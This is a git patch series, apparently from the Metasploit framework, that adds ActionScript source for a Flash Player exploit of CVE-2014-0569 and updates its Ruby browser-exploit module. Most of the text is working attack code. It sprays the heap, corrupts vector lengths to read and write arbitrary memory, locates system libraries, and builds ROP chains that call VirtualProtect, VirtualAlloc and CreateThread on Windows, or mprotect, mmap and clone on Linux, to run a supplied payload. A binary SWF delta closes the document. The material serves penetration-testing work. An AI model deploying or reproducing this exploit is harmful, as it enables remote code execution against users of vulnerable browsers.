0000000000..9fcbb01f7b --- /dev/null +++ b/external/source/exploits/CVE-2014-0569/ExploitVector.as @@ -0,0 +1,74 @@ +package +{ + public class ExploitVector + { + private var uv:Vector. + public var original_length:uint = 1014 + + public function ExploitVector(v:Vector.) + { + uv = v + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2014-0569/Exploiter.as b/external/source/exploits/CVE-2014-0569/Exploiter.as new file mode 100755 index 0000000000..6e4eba3295 --- /dev/null +++ b/external/source/exploits/CVE-2014-0569/Exploiter.as @@ -0,0 +1,399 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:ByteArray + private var platform:String + private var op_system:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + private var spray:Vector. = new Vector.(10000) + + public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.):void + { + exploit = exp + payload = p + platform = pl + op_system = os + + ev = new ExploitVector(uv) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x8000) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + main = ev.at(pos + 1) - 1 + stack_object = ev.at(pos + 2) - 1 + payload_space_object = ev.at(pos + 3) - 1 + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") { + do_rop_linux() + } else if (platform == "win") { + if (op_system == "Windows 8.1") { + do_rop_windows8() + } else if (op_system == "Windows 7") { + do_rop_windows() + } else { + return + } + } else { + return + } + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_windows8():void + { + Logger.log("[*] Exploiter - do_rop_windows8()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var advapi32:uint = pe.module("advapi32.dll", flash) + var kernelbase:uint = pe.module("kernelbase.dll", advapi32) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) + var createthread:uint = pe.procedure("CreateThread", kernelbase) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7ffd0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7ffd0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7ffd0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + + // Put the popen parameters in memory + eba.write(payload_address + 0x8, payload, true) // false + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/exploits/CVE-2014-0569/Logger.as b/external/source/exploits/CVE-2014-0569/Logger.as new file mode 100755 index 0000000000..61ec768c25 --- /dev/null +++ b/external/source/exploits/CVE-2014-0569/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 1 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str); + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str); + } + } + } +} diff --git a/external/source/exploits/CVE-2014-0569/Main.as b/external/source/exploits/CVE-2014-0569/Main.as deleted file mode 100755 index 4ac48e2cec..0000000000 --- a/external/source/exploits/CVE-2014-0569/Main.as +++ /dev/null @@ -1,287 +0,0 @@ -// Build how to: -// 1. Download the AIRSDK, and use its compiler. -// 2. Download the Flex SDK (4.6) -// 3. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) -// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) -// 4. Build with: mxmlc -o msf.swf Main.as - -// Original code skeleton by @hdarwin89 for other exploits - -package -{ - import flash.display.Sprite - import flash.utils.ByteArray - import flash.system.ApplicationDomain - import avm2.intrinsics.memory.casi32 - import flash.display.LoaderInfo - import mx.utils.Base64Decoder - - public class Main extends Sprite - { - private var BYTE_ARRAY_SIZE:Number = 1024 - private var defrag:Vector. = new Vector.(100) - private var ov:Vector. = new Vector.(100) - private var uv:Vector. = new Vector.(100) - private var uv_index:uint - private var ba:ByteArray - private var b64:Base64Decoder = new Base64Decoder(); - private var payload:String = "" - - public function Main() - { - var i:uint = 0 - var j:uint = 0 - - var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh - var pattern:RegExp = / /g; - b64_payload = b64_payload.replace(pattern, "+") - b64.decode(b64_payload) - payload = b64.toByteArray().toString() - for (i = 0; i < defrag.length; i++) { - defrag[i] = new ByteArray() - defrag[i].length = BYTE_ARRAY_SIZE - defrag[i].endian = "littleEndian" - } - - ba = new ByteArray() - ov[0] = ba - ov[0].length = BYTE_ARRAY_SIZE - ov[0].endian = "littleEndian" - - for (i = 1; i < ov.length; i++) { - ov[i] = new Vector.(1014) - ov[i][0] = ba - ov[i][1] = this - } - - for (i = 0; i < uv.length; i++) { - uv[i] = new Vector.(1014) - uv[i][0] = 0x41424344 - } - - var stack:Vector. = new Vector.(0x6400) - var payload_space:Vector. = new Vector.(0x6400) - - for (i = 1; i < ov.length; i++) { - ov[i][2] = stack - ov[i][3] = payload_space - } - - ApplicationDomain.currentDomain.domainMemory = ba; - // Make ByteArray length 0 so the casi32 integer overflow - // can be exploited - ba.atomicCompareAndSwapLength(1024, 0) - - var object_vector_pos:uint = search_object_vector() - var byte_array_object:uint = read_byte_array(object_vector_pos + 4) - 1 - var stack_object:uint = read_byte_array(object_vector_pos + 12) - 1 - var payload_space_object:uint = read_byte_array(object_vector_pos + 16) - 1 - var main:uint = read_byte_array(object_vector_pos + 8) - 1 - var uint_vector_pos:uint = search_uint_vector() - var object_vector_address:uint = read_byte_array(object_vector_pos - 16) + 12 - var uint_vector_address:uint = object_vector_address + (uint_vector_pos - object_vector_pos) - - // Overwrite uint vector length - var orig_length:uint = write_byte_array(uint_vector_pos, 0xffffffff) - - for (i = 0; i < uv.length; i++) { - if (uv[i].length > 1024) { - uv_index = i - uv[i][0] = uint_vector_address - break - } - } - - var buffer_object:uint = vector_read(byte_array_object + 0x40) - var buffer:uint = vector_read(buffer_object + 8) - var stack_address:uint = vector_read(stack_object + 0x18) - var payload_address:uint = vector_read(payload_space_object + 0x18) - var vtable:uint = vector_read(main) - - // Set the new ByteArray length - ba.endian = "littleEndian" - ba.length = 0x500000 - - // Overwite the ByteArray data pointer and capacity - var ba_array:uint = buffer_object + 8 - var ba_capacity:uint = buffer_object + 16 - vector_write(ba_array) - vector_write(ba_capacity, 0xffffffff) - - // restoring the corrupted vector length since we don't need it - // anymore - byte_write(uv[uv_index][0], orig_length) - - var flash:uint = base(vtable) - var winmm:uint = module("winmm.dll", flash) - var kernel32:uint = module("kernel32.dll", winmm) - var virtualprotect:uint = procedure("VirtualProtect", kernel32) - var winexec:uint = procedure("WinExec", kernel32) - var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash) - var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash) - - // Continuation of execution - byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable - byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main - byte_write(0, "\x89\x03", false) // mov [ebx], eax - byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret - - // Put the payload (command) in memory - byte_write(payload_address + 8, payload, true); // payload - - // Put the fake vtabe / stack on memory - byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... - byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] - byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot - byte_write(0, virtualprotect) - - // VirtualProtect - byte_write(0, winexec) - byte_write(0, buffer + 0x10) - byte_write(0, 0x1000) - byte_write(0, 0x40) - byte_write(0, buffer + 0x8) // Writable address (4 bytes) - - // WinExec - byte_write(0, buffer + 0x10) - byte_write(0, payload_address + 8) - byte_write(0) - - byte_write(main, stack_address + 0x18000) // overwrite with fake vtable - - toString() // call method in the fake vtable - } - - // Methods to use the integer overflow - - private function search_object_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint { - var mem:uint = 0 - var mem_first_pos:uint = 0 - var next_length:uint = 0 - - for (var i:uint = 0; i < limit; i = i + 4) { - mem = read_byte_array(i) - mem_first_pos = read_byte_array(i + 8) - if (mem == pattern && mem_first_pos != 0x41424344) { - return i; - } - } - return -1; - } - - private function search_uint_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint { - var mem:uint = 0 - var mem_first_pos:uint = 0 - - for (var i:uint = 0; i < limit; i = i + 4) { - mem = read_byte_array(i) - mem_first_pos = read_byte_array(i + 8) - if (mem == pattern && mem_first_pos == 0x41424344) { - return i; - } - } - return -1; - } - - private function read_byte_array(offset:uint = 0):uint { - var old:uint = casi32(offset, 0xdeedbeef, 0xdeedbeef) - return old - } - - private function write_byte_array(offset:uint = 0, value:uint = 0):uint { - var old:uint = read_byte_array(offset) - casi32(offset, old, value) - return old - } - - // Methods to use the corrupted vector for arbitrary reading/writing - - private function vector_write(addr:uint, value:uint = 0):void - { - addr > uv[uv_index][0] ? uv[uv_index][(addr - uv[uv_index][0]) / 4 - 2] = value : uv[uv_index][0xffffffff - (uv[uv_index][0] - addr) / 4 - 1] = value - } - - private function vector_read(addr:uint):uint - { - return addr > uv[uv_index][0] ? uv[uv_index][(addr - uv[uv_index][0]) / 4 - 2] : uv[uv_index][0xffffffff - (uv[uv_index][0] - addr) / 4 - 1] - } - - // Methods to use the corrupted byte array for arbitrary reading/writing - - private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void - { - if (addr) ba.position = addr - if (value is String) { - for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) - if (zero) ba.writeByte(0) - } else ba.writeUnsignedInt(value) - } - - private function byte_read(addr:uint, type:String = "dword"):uint - { - ba.position = addr - switch(type) { - case "dword": - return ba.readUnsignedInt() - case "word": - return ba.readUnsignedShort() - case "byte": - return ba.readUnsignedByte() - } - return 0 - } - - // Methods to search the memory with the corrupted byte array - - private function base(addr:uint):uint - { - addr &= 0xffff0000 - while (true) { - if (byte_read(addr) == 0x00905a4d) return addr - addr -= 0x10000 - } - return 0 - } - - private function module(name:String, addr:uint):uint - { - var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80) - var i:int = -1 - while (true) { - var entry:uint = byte_read(iat + (++i) * 0x14 + 12) - if (!entry) throw new Error("FAIL!"); - ba.position = addr + entry - var dll_name:String = ba.readUTFBytes(name.length).toUpperCase(); - if (dll_name == name.toUpperCase()) { - break; - } - } - return base(byte_read(addr + byte_read(iat + i * 0x14 + 16))); - } - - private function procedure(name:String, addr:uint):uint - { - var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78) - var numberOfNames:uint = byte_read(eat + 0x18) - var addressOfFunctions:uint = addr + byte_read(eat + 0x1c) - var addressOfNames:uint = addr + byte_read(eat + 0x20) - var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24) - - for (var i:uint = 0; ; i++) { - var entry:uint = byte_read(addressOfNames + i * 4) - ba.position = addr + entry - if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break - } - return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4) - } - - private function gadget(gadget:String, hint:uint, addr:uint):uint - { - var find:uint = 0 - var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50) - var value:uint = parseInt(gadget, 16) - for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break - return addr + i - } - } -} diff --git a/external/source/exploits/CVE-2014-0569/PE.as b/external/source/exploits/CVE-2014-0569/PE.as new file mode 100755 index 0000000000..8753586477 --- /dev/null +++ b/external/source/exploits/CVE-2014-0569/PE.as @@ -0,0 +1,72 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var contents:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() + } + } +} diff --git a/modules/exploits/windows/browser/adobe_flash_casi32_int_overflow.rb b/modules/exploits/windows/browser/adobe_flash_casi32_int_overflow.rb index 6ea97614c8..57bc88f9aa 100644 --- a/modules/exploits/windows/browser/adobe_flash_casi32_int_overflow.rb +++ b/modules/exploits/windows/browser/adobe_flash_casi32_int_overflow.rb @@ -6,9 +6,8 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking + Rank = GreatRanking - include Msf::Exploit::Powershell include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) @@ -39,12 +38,16 @@ class Metasploit3 < Msf::Exploit::Remote 'DisableNops' => true }, 'Platform' => 'win', + 'Arch' => ARCH_X86, 'BrowserRequirements' => { :source => /script|headers/i, - :os_name => OperatingSystems::Match::WINDOWS_7, - :ua_name => Msf::HttpClients::IE, - :flash => lambda { |ver| ver =~ /^15\./ && ver == '15.0.0.167' }, + :os_name => lambda do |os| + os =~ OperatingSystems::Match::WINDOWS_7 || + os =~ OperatingSystems::Match::WINDOWS_81 + end, + :ua_name => lambda { |ua| [Msf::HttpClients::IE, Msf::HttpClients::FF].include?(ua) }, + :flash => lambda { |ver| ver =~ /^15\./ && Gem::Version.new(ver) <= Gem::Version.new('15.0.0.167') }, :arch => ARCH_X86 }, 'Targets' => @@ -77,17 +80,18 @@ class Metasploit3 < Msf::Exploit::Remote def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) - psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) - b64_payload = Rex::Text.encode_base64(psh_payload) + b64_payload = Rex::Text.encode_base64(target_payload) + platform_id = 'win' + os_name = target_info[:os_name] html_template = %Q| - + - + From 39851d277ddb012be5c04ad5e7af412fd5e3b529 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 9 Jun 2015 11:36:09 -0500 Subject: [PATCH 0362/1013] Unset debug flag --- data/exploits/CVE-2014-0569/msf.swf | Bin 20782 -> 20782 bytes .../source/exploits/CVE-2014-0569/Exploit.as | 4 ++-- .../source/exploits/CVE-2014-0569/Logger.as | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/data/exploits/CVE-2014-0569/msf.swf b/data/exploits/CVE-2014-0569/msf.swf index f771382e56e7adaccc4f73f87bb01c34e97dedd0..79e5b8f472276790bb1d87f9b73a7b45900127e5 100755 GIT binary patch delta 20658 zcmV(xKuDQyjgq1t|f458=rr1C8ADsKiT3-sg{Dzn^EineTS*=N>q> z_71GewQ>l!Vfc$9ASs!evNrl_YjB#K+vMq|S8&}Uco4FGJVbT~ zz3a=_>exrhaUK_I>q5C~6Axi9&rEub6nCPdg&7<-9!ma-HvLrEN|NPZ%@~F6C?6*~ z7Gc{Ir=-#>Hminanf4I(ekZKA9J?X|I!eXb%ZO-7#D1has@Wn*iwmi!G6%gtpQvO~ z;Ts`@h#Poi`tgWo7%cQm{?OomNh#q<5m$Z~2vb?%BKvA|GW19mRiR%}EIX~+`|HH& zDp@rCs`Sl&I27MC$OU&^TB?~*wLB_D3}LAYu04o5=tR%{vEJn0c$%_#GJ-kAazHMi z?(x5TtIf~!9ipGdT|OlmF|38|48quMC$<@^&QB#@6EijX1UU&GKgR^TnG79w+CIiLdRDY$L8QE$A@}YUlrkQ0+6j62mD(N(_ zk8chnz?bnt8%uZ|yysMZ_|@kDXwS5+NB@+kp!4lQxI7=d>zF_M+-aFZ#hV>;L)VzV z;so4#_q{Tiqv9ns6n+sOL7)-L{&*orYFF_z@JF=BF?J@lC=-Kscs^OR;i)7ibk2!Vh6#0mePMz-It2jSKnF`1AskC$NecFYiLHk|am?8{!`J zEu)yN<@_-4i0o@UbZKaAvXI!BXgzP(feYO>h%uUHs(4og6|wsE^UHkp+Cwtdg>Lep z7U?hwUO}HPGE9ew;O5mntb)uL5UJUtiT#mqyo!q7GRB2}!tHcR^IJ95%JGIadR%5o zq6Uly`OD^P1dz#MJG?z|yOyjw3tzph?WbD6f6y-%9gkg{>HlNECcbGsyDICcOi$QU z@rN>$)fyYMFkM9Ytr*SZd_o8PbEw!1`=l&aDZoyWX97vH@UVHzW6FgjR|~~y4%UMw zbZKSIO*HO*F*(=Ew|W$njpWC`r@sjYsA_J3FbywFjcJXZ8KL=|2_d0=*ivu^u7$J~ zx?FSPcX|kyl1Iq65_Sj{lFGWF0rWbmtz<#7{?+Oeei95QO z_-R14RA?zSBJ-!pnOQh0BeUa*OU`Ky^%5ovB$LyBd1;DUO%F85&|pN$wamIwo@mta 